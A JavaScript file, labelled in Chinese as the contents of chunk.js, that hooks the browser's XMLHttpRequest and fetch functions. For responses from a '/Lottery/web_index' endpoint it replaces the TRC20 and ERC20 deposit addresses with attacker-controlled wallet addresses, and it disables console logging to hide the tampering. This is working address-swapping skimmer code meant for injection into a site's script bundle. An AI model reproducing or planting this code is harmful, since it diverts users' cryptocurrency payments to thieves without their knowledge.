// chunk.js 内容 (function() { // 1. 拦截XMLHttpRequest请求 const originalOpen = XMLHttpRequest.prototype.open; const originalSend = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.open = function(method, url) { this._url = url; return originalOpen.apply(this, arguments); }; XMLHttpRequest.prototype.send = function(body) { if (this._url.includes('/Lottery/web_index')) { const originalOnReadyStateChange = this.onreadystatechange; const originalOnLoad = this.onload; this.onreadystatechange = function() { if (this.readyState === 4 && this.status === 200) { try { // 2. 篡改API响应 const response = JSON.parse(this.responseText); // 替换关键字段 if (response.data) { response.data.TRC20 = "TPSUPbsWaAL8ZwgUexTqn4cmvWthRPRDbR"; response.data.ERC20 = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb"; // 3. 伪造新响应 Object.defineProperty(this, 'response', {value: JSON.stringify(response)}); Object.defineProperty(this, 'responseText', {value: JSON.stringify(response)}); } } catch(e) { console.error(e); } } originalOnReadyStateChange && originalOnReadyStateChange.apply(this, arguments); }; this.onload = function() { if (this.status === 200) { try { // 双重处理确保覆盖 const response = JSON.parse(this.responseText); response.data.TRC20 = "TRePL4c3dByH4ck3r12345678"; response.data.ERC20 = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb"; Object.defineProperty(this, 'response', {value: JSON.stringify(response)}); Object.defineProperty(this, 'responseText', {value: JSON.stringify(response)}); } catch(e) { console.error(e); } } originalOnLoad && originalOnLoad.apply(this, arguments); }; } return originalSend.apply(this, arguments); }; // 4. 拦截fetch请求 const originalFetch = window.fetch; window.fetch = function(input, init) { return originalFetch(input, init).then(response => { if (response.url.includes('/Lottery/web_index')) { return response.clone().json().then(data => { if (data.data) { // 执行篡改 data.data.TRC20 = "TPSUPbsWaAL8ZwgUexTqn4cmvWthRPRDbR"; data.data.ERC20 = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb"; // 创建伪造响应 return new Response(JSON.stringify(data), { status: response.status, statusText: response.statusText, headers: response.headers }); } return response; }); } return response; }); }; // 5. 隐藏篡改痕迹 console.debug = function(){}; console.log = function(){}; console.info = function(){}; })();